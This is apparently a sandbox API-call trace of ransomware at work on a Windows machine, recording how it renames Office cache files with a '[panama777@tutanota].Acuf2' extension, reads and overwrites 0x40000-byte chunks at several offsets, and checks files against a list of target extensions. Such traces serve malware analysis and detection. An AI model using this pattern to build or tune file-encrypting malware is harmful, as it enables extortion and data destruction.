	[0037.120] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0038.500] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=2506240) returned 1
	[0038.500] CloseHandle (hObject=0x198) returned 1
	[0038.500] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020
	[0038.500] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.500] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0038.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198
	[0038.501] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0x0) returned 1
	[0038.501] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0038.501] ReadFile (in: hFile=0x198, lpBuffer=0x3c60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c60058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0038.510] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0038.510] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0038.521] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0038.521] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0038.521] ReadFile (in: hFile=0x198, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0038.540] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.540] WriteFile (in: hFile=0x198, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x35afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0038.845] SetEndOfFile (hFile=0x198) returned 1
	[0038.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3ec3c00
	[0038.848] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0038.848] WriteFile (in: hFile=0x198, lpBuffer=0x3ec3c00*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec3c00*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0038.850] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0038.850] WriteFile (in: hFile=0x198, lpBuffer=0x3ec3c00*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec3c00*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0038.856] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0038.856] WriteFile (in: hFile=0x198, lpBuffer=0x3ec3c00*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec3c00*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0038.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ec3c00 | out: hHeap=0x4f0000) returned 1
	[0038.859] CloseHandle (hObject=0x198) returned 1
	[0039.831] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.831] lstrlenW (lpString=".doc") returned 4
	[0039.831] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0039.831] lstrlenW (lpString=".docx") returned 5
	[0039.831] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0039.831] lstrlenW (lpString=".pdf") returned 4
	[0039.831] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0039.831] lstrlenW (lpString=".xls") returned 4
	[0039.831] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0039.831] lstrlenW (lpString=".xlsx") returned 5
	[0039.831] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0039.831] lstrlenW (lpString=".ppt") returned 4
	[0039.831] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0039.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.831] lstrlenW (lpString=".zip") returned 4
	[0039.831] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0039.831] lstrlenW (lpString=".rar") returned 4
	[0039.832] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0039.832] lstrlenW (lpString=".bz2") returned 4
	[0039.832] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0039.832] lstrlenW (lpString=".7z") returned 3
	[0039.832] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0039.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.832] lstrlenW (lpString=".dbf") returned 4
	[0039.832] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0039.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.832] lstrlenW (lpString=".1cd") returned 4
	[0039.832] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0039.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.832] lstrlenW (lpString=".jpg") returned 4
	[0039.832] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0039.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.832] lstrlenW (lpString=".doc") returned 4
	[0039.832] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0039.832] lstrlenW (lpString=".docx") returned 5
	[0039.832] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0039.832] lstrlenW (lpString=".pdf") returned 4
	[0039.832] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0039.832] lstrlenW (lpString=".xls") returned 4
	[0039.832] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0039.832] lstrlenW (lpString=".xlsx") returned 5
	[0039.832] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0039.832] lstrlenW (lpString=".ppt") returned 4
	[0039.832] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0039.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.832] lstrlenW (lpString=".zip") returned 4
	[0039.832] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0039.833] lstrlenW (lpString=".rar") returned 4
	[0039.833] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0039.833] lstrlenW (lpString=".bz2") returned 4
	[0039.833] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0039.833] lstrlenW (lpString=".7z") returned 3
	[0039.833] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0039.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.833] lstrlenW (lpString=".dbf") returned 4
	[0039.833] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0039.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.833] lstrlenW (lpString=".1cd") returned 4
	[0039.833] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0039.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0039.833] lstrlenW (lpString=".jpg") returned 4
	[0039.833] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0039.833] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0039.833] lstrlenW (lpString="PubLR.cab") returned 9
	[0039.833] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0039.833] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=9958388) returned 1
	[0039.833] CloseHandle (hObject=0x1a0) returned 1
	[0039.834] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020
	[0039.834] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.834] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0039.834] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0039.834] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0x0) returned 1
	[0039.834] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0039.834] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c60058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0040.016] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0040.018] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0040.025] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0040.025] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0040.025] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0040.175] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.175] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x35afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0040.537] SetEndOfFile (hFile=0x1a0) returned 1
	[0040.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3ee37c0
	[0040.542] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0040.542] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ee37c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee37c0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0040.543] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0040.543] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ee37c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee37c0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0040.547] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0040.547] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ee37c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee37c0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0040.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ee37c0 | out: hHeap=0x4f0000) returned 1
	[0040.552] CloseHandle (hObject=0x1a0) returned 1
	[0042.629] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0042.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.629] lstrlenW (lpString=".doc") returned 4
	[0042.629] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0042.629] lstrlenW (lpString=".docx") returned 5
	[0042.630] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0042.630] lstrlenW (lpString=".pdf") returned 4
	[0042.630] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0042.630] lstrlenW (lpString=".xls") returned 4
	[0042.630] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0042.630] lstrlenW (lpString=".xlsx") returned 5
	[0042.630] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0042.630] lstrlenW (lpString=".ppt") returned 4
	[0042.630] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.630] lstrlenW (lpString=".zip") returned 4
	[0042.630] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0042.630] lstrlenW (lpString=".rar") returned 4
	[0042.630] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0042.630] lstrlenW (lpString=".bz2") returned 4
	[0042.630] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0042.630] lstrlenW (lpString=".7z") returned 3
	[0042.630] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.630] lstrlenW (lpString=".dbf") returned 4
	[0042.630] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.630] lstrlenW (lpString=".1cd") returned 4
	[0042.630] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.630] lstrlenW (lpString=".jpg") returned 4
	[0042.630] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0042.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.631] lstrlenW (lpString=".doc") returned 4
	[0042.631] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0042.631] lstrlenW (lpString=".docx") returned 5
	[0042.631] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0042.631] lstrlenW (lpString=".pdf") returned 4
	[0042.631] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0042.631] lstrlenW (lpString=".xls") returned 4
	[0042.631] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0042.631] lstrlenW (lpString=".xlsx") returned 5
	[0042.631] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0042.631] lstrlenW (lpString=".ppt") returned 4
	[0042.631] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0042.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.631] lstrlenW (lpString=".zip") returned 4
	[0042.631] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0042.631] lstrlenW (lpString=".rar") returned 4
	[0042.631] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0042.631] lstrlenW (lpString=".bz2") returned 4
	[0042.631] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0042.631] lstrlenW (lpString=".7z") returned 3
	[0042.631] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0042.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.631] lstrlenW (lpString=".dbf") returned 4
	[0042.631] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0042.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.631] lstrlenW (lpString=".1cd") returned 4
	[0042.631] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0042.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0042.631] lstrlenW (lpString=".jpg") returned 4
	[0042.631] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0042.632] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0042.632] lstrlenW (lpString="Proof.cab") returned 9
	[0042.632] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0042.632] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=11482605) returned 1
	[0042.633] CloseHandle (hObject=0x1a0) returned 1
	[0042.633] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020
	[0042.633] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0042.633] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0042.964] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0042.964] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0x0) returned 1
	[0042.964] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0042.964] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c60058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0042.969] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0042.969] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0042.972] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0042.972] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0042.972] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0042.987] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0042.987] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x35afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0043.200] SetEndOfFile (hFile=0x1a0) returned 1
	[0043.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f137d0
	[0043.206] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
